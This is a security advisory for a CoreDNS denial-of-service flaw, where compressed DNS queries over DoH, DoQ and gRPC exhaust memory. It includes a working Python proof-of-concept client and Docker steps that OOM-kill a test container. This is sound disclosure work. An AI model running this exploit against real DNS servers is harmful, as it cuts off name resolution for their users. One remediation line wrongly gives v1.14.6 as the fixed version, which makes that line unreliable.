GHSA-mrg3-qvqr-jw29: High severity go/github.com/coredns/coredns vulnerability

Published Sep 17, 2026
·
Updated

Summary

CoreDNS parses attacker-controlled DNS section counts before validating them on DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC listeners. An unauthenticated client can use DNS name compression to make one 65,533-byte request allocate more than 10 MiB while it is unpacked. Concurrent requests can exhaust memory and terminate CoreDNS.

Details

The affected request paths call dns.Msg.Unpack directly:

- DoH POST and GET decoding. DoH3 uses the same decoder. - DoQ stream handling. - DNS-over-gRPC query handling.

This differs from the miekg/dns UDP and TCP server. Its serveDNS path decodes the fixed 12-byte header and invokes DefaultMsgAcceptFunc before unpacking the DNS sections. The default policy rejects requests unless QDCOUNT is exactly one and also limits the other section counts. CoreDNS's custom transports bypass this early validation.

Parsing happens before the plugin chain. Plugin-level rate limiting or request handling cannot prevent the allocation. The fix is to apply dns.DefaultMsgAcceptFunc to the fixed header before calling Msg.Unpack in each custom request transport. Response decoding must remain separate because the request policy intentionally rejects response headers.

PoC

The PoC runs against the DoH server.

Run the following from a clean checkout of CoreDNS v1.14.6. Docker must support container memory limits. The example uses the test certificate already present in the repository and publishes the test service only on loopback.

Save this as Corefile.cd01:

text https://.:8053 { tls /cert.pem /key.pem whoami }

Save this standard-library client as poc-cd01.py:

python #!/usr/bin/env python3 import argparse import concurrent.futures from collections import Counter import http.client import ssl import struct

def normalquery(): header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0) question = b"\x07example\x03org\x00" + struct.pack("!HH", 1, 1) return header + question, 1

def attackquery(): message = bytearray(65535) offset = 12 nameoffset = offset

for size in (63, 63, 63, 61): message[offset] = size offset += 1 message[offset : offset + size] = b"\x01" size offset += size

message[offset] = 0 offset += 1 struct.packinto("!HH", message, offset, 1, 1) offset += 4 questions = 1

while offset + 6 <= len(message): struct.packinto("!HHH", message, offset, 0xC000 | nameoffset, 1, 1) offset += 6 questions += 1

struct.packinto( "!HHHHHH", message, 0, 0x1234, 0x0100, questions, 0, 0, 0 ) return bytes(message[:offset]), questions

def send(payload): context = ssl.createunverifiedcontext() connection = http.client.HTTPSConnection( "127.0.0.1", 18053, timeout=3, context=context ) try: connection.request( "POST", "/dns-query", body=payload, headers={"Content-Type": "application/dns-message"}, ) response = connection.getresponse() response.read() return f"http-{response.status}" except Exception: return "error" finally: connection.close()

def main(): parser = argparse.ArgumentParser() parser.addargument("--normal", action="storetrue") parser.addargument("--workers", type=int, default=1) args = parser.parseargs()

payload, questions = normalquery() if args.normal else attackquery() print( f"payload={len(payload)} questions={questions} workers={args.workers}" ) with concurrent.futures.ThreadPoolExecutor(args.workers) as pool: results = pool.map(send, [payload] args.workers) print(Counter(results))

if name == "main": main()

Build the Linux binary and container image:

sh GOCACHE=/tmp/coredns-gocache \ GOOS=linux GOARCH="$(go env GOARCH)" CGOENABLED=0 \ go build -tags=grpcnotrace -o coredns . docker build --tag coredns-cd01:vulnerable .

Start CoreDNS with a 64 MiB memory and swap limit:

sh docker run --detach --name coredns-cd01 \ --memory 64m --memory-swap 64m \ --publish 127.0.0.1:18053:8053/tcp \ --volume "$PWD/Corefile.cd01:/Corefile:ro" \ --volume "$PWD/plugin/tls/testcert.pem:/cert.pem:ro" \ --volume "$PWD/plugin/tls/testkey.pem:/key.pem:ro" \ coredns-cd01:vulnerable -conf /Corefile

Confirm that the listener works and that one malicious request is accepted:

console $ python3 poc-cd01.py --normal payload=29 questions=1 workers=1 Counter({'http-200': 1})

$ python3 poc-cd01.py payload=65533 questions=10878 workers=1 Counter({'http-200': 1})

Send 32 malicious requests concurrently and inspect the container:

console $ python3 poc-cd01.py --workers 32 payload=65533 questions=10878 workers=32 Counter({'error': 32})

$ docker inspect --format '{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}' coredns-cd01 exited OOMKilled=true ExitCode=137

OOMKilled=true confirms that the container was terminated by memory exhaustion rather than a CoreDNS configuration error.

Impact

This is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking.

In the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service.

CoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.

Affected Software

1 affected componentFixes available
go/github.com/coredns/coredns<=1.14.6
1.14.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/coredns/coredns to a version that resolves this vulnerability.

    Fixed in 1.14.7
  2. Upgrade

    Upgrade CoreDNS to a version that resolves this vulnerability.

    Fixed in v1.14.6
  3. Configuration

    In CoreDNS, update the custom request transport(s) for DNS-over-gRPC, DoH/DoH3, and DoQ so that the fixed 12-byte header is accepted using dns.DefaultMsgAcceptFunc before calling Msg.Unpack (the vulnerability exists because parsing attacker-controlled section counts happens before validation on these listener paths).

    CoreDNS (custom DNS-over-gRPC/DoH/DoQ/DoH3 request transports) dns.DefaultMsgAcceptFunc invocation order = Apply dns.DefaultMsgAcceptFunc to the fixed header before calling Msg.Unpack in each custom request transport

Event History

Sep 17, 2026
Advisory Published
via GitHub·08:32 PM
Data Sourced
via GitHub·08:32 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which CoreDNS deployments are exposed?

Deployments that accept DNS-over-HTTPS, including DoH3, DNS-over-QUIC, or DNS-over-gRPC requests are affected. The described vulnerable decoding paths are specific to those listener types.

2

What does an attacker need to exploit this issue?

An unauthenticated client needs network access to an affected listener. The attacker can send a DNS request using name compression that causes disproportionately large memory allocation during unpacking; concurrent requests can exhaust memory and terminate CoreDNS.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203